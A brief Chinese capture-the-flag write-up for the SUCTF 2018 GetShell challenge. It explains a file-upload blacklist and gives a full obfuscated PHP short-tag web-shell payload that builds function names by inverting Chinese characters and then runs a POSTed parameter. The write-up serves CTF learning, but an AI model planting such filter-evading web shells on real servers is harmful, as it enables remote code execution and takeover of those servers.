刷题[SUCTF 2018]GetShell
解题思路
进入upload,发现有源码,代码审计
代码审计
大概意思就是,读取我们上传的文件,截取第五位之后的内容,与黑名单不匹配才能上传成功
我传的是一个空的txt文件,发现会变成php文件,那好办了。现在测试一下禁了哪些内容
fuzz
发现不能使用php的正常标签,使用短标签可以绕过,异或字符可以用,那么使用异或的办法,编写exp
exp
<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);
上传后,参数为a,post一个参数a=env,即可获得变量
总结思路
以p神的一篇博客的思路引申出来的各种getshell方法应真正做到掌握
知识点
- RCE
- getshell